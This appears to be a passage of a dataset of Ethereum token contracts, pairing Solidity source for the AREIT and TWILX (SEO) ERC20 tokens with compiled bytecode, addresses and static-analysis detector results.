e2557600080fd5b5050604080518281529051309133917f160ffcaa807f78c8b4983836e2396338d073e75695ac448aa0b5e4a75b210b1d9181900360200190a35056fe596f752063757272656e746c7920646f206e6f74206861766520757020746f207468617420616d6f756e74207374616b6564417574686f72697a6174696f6e3a206f6e6c7920746f6b656e20636f6e74726163742063616e2063616c6c4e6f7420656e6f75676820616c6c6f77616e636520676976656e20746f20636f6e74726163742079657420746f207370656e642062792075736572596f757220616d6f756e74206973206c6f776572207468616e20746865206d696e696d756d20616d6f756e7420616c6c6f77656420746f207374616b65496e73756666696369656e74204f7261636c652041465420746f6b656e2062616c616e63654f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f72496e73657274696f6e206f662061646472657373283029206973206e6f7420737570706f72746564496e73657274696f6e206f662073616d652061646472657373206973206e6f7420737570706f72746564a26469706673582212207bfac5cb73fe81ede45821bde43102d0f3b7bcdf16bbc07f19dbb09ac5634f8b64736f6c63430006040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 9,147 |
0x4e38257432b5f2fcd53bf67296b3e571ef0b1155
|
pragma solidity 0.5.12;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract AREITToken is ERC20 {
string public DocURL;
using SafeMath for uint256;
string public constant name = "Australian Real Estate Investment Trust";
string public constant symbol = "AREIT";
uint8 public constant decimals = 18;
constructor (string memory _url) public {
uint256 maxSupply = 100000000;
uint256 totalSupply = maxSupply.mul(1e18); //100,000,000 AREIT TOKEN Total Supply
_mint(msg.sender, totalSupply); //mint all totsl supply to contract deployer
DocURL = _url;
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806347d8f0d21161007157806347d8f0d2146102d057806370a082311461035357806395d89b41146103ab578063a457c2d71461042e578063a9059cbb14610494578063dd62ed3e146104fa576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a257806323b872dd146101c0578063313ce56714610246578063395093511461026a575b600080fd5b6100c1610572565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061058e565b604051808215151515815260200191505060405180910390f35b6101aa6105ac565b6040518082815260200191505060405180910390f35b61022c600480360360608110156101d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105b6565b604051808215151515815260200191505060405180910390f35b61024e61068f565b604051808260ff1660ff16815260200191505060405180910390f35b6102b66004803603604081101561028057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610694565b604051808215151515815260200191505060405180910390f35b6102d8610747565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103185780820151818401526020810190506102fd565b50505050905090810190601f1680156103455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103956004803603602081101561036957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107e5565b6040518082815260200191505060405180910390f35b6103b361082d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103f35780820151818401526020810190506103d8565b50505050905090810190601f1680156104205780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61047a6004803603604081101561044457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610866565b604051808215151515815260200191505060405180910390f35b6104e0600480360360408110156104aa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610933565b604051808215151515815260200191505060405180910390f35b61055c6004803603604081101561051057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610951565b6040518082815260200191505060405180910390f35b6040518060600160405280602781526020016110c76027913981565b60006105a261059b6109d8565b84846109e0565b6001905092915050565b6000600254905090565b60006105c3848484610bd7565b610684846105cf6109d8565b61067f8560405180606001604052806028815260200161110f60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106356109d8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8d9092919063ffffffff16565b6109e0565b600190509392505050565b601281565b600061073d6106a16109d8565b8461073885600160006106b26109d8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4d90919063ffffffff16565b6109e0565b6001905092915050565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107dd5780601f106107b2576101008083540402835291602001916107dd565b820191906000526020600020905b8154815290600101906020018083116107c057829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040518060400160405280600581526020017f415245495400000000000000000000000000000000000000000000000000000081525081565b60006109296108736109d8565b8461092485604051806060016040528060258152602001611180602591396001600061089d6109d8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8d9092919063ffffffff16565b6109e0565b6001905092915050565b60006109476109406109d8565b8484610bd7565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a66576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061115c6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610aec576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061107f6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806111376025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ce3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061105c6023913960400191505060405180910390fd5b610d4e816040518060600160405280602681526020016110a1602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8d9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610de1816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4d90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610f3a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610eff578082015181840152602081019050610ee4565b50505050905090810190601f168015610f2c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015610fcb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080831415610fe85760009050611055565b6000828402905082848281610ff957fe5b0414611050576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806110ee6021913960400191505060405180910390fd5b809150505b9291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654175737472616c69616e205265616c2045737461746520496e766573746d656e74205472757374536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820c93b7602f32ed064ae6822ead21a0fad3cf10aa95c3bfc0d782c62ea7a2d96f864736f6c634300050c0032
|
{"success": true, "error": null, "results": {}}
| 9,148 |
0xfc57c39dc063ca2f57f4f09d60bdb6547d129657
|
pragma solidity ^0.4.24;
/*
* Creator: SEO (TWILX)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* TWILX token token smart contract.
*/
contract SEOToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 16000000 * (10**6);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function SEOToken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "TWILX";
string constant public symbol = "SEO";
uint8 constant public decimals = 6;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
}
|
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f7578063095ea7b31461018757806313af4035146101ec57806318160ddd1461022f57806323b872dd1461025a578063313ce567146102df57806331c420d41461031057806370a08231146103275780637e1f2bb81461037e57806389519c50146103c357806395d89b4114610430578063a9059cbb146104c0578063dd62ed3e14610525578063e724529c1461059c575b600080fd5b3480156100ec57600080fd5b506100f56105eb565b005b34801561010357600080fd5b5061010c6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014c578082015181840152602081019050610131565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019357600080fd5b506101d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e0565b604051808215151515815260200191505060405180910390f35b3480156101f857600080fd5b5061022d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610716565b005b34801561023b57600080fd5b506102446107b6565b6040518082815260200191505060405180910390f35b34801561026657600080fd5b506102c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c0565b604051808215151515815260200191505060405180910390f35b3480156102eb57600080fd5b506102f461084e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031c57600080fd5b50610325610853565b005b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061090e565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b506103a960048036038101908080359060200190929190505050610956565b604051808215151515815260200191505060405180910390f35b3480156103cf57600080fd5b5061042e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ade565b005b34801561043c57600080fd5b50610445610cfe565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048557808201518184015260208101905061046a565b50505050905090810190601f1680156104b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104cc57600080fd5b5061050b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d37565b604051808215151515815260200191505060405180910390f35b34801561053157600080fd5b50610586600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc3565b6040518082815260200191505060405180910390f35b3480156105a857600080fd5b506105e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610e4a565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffff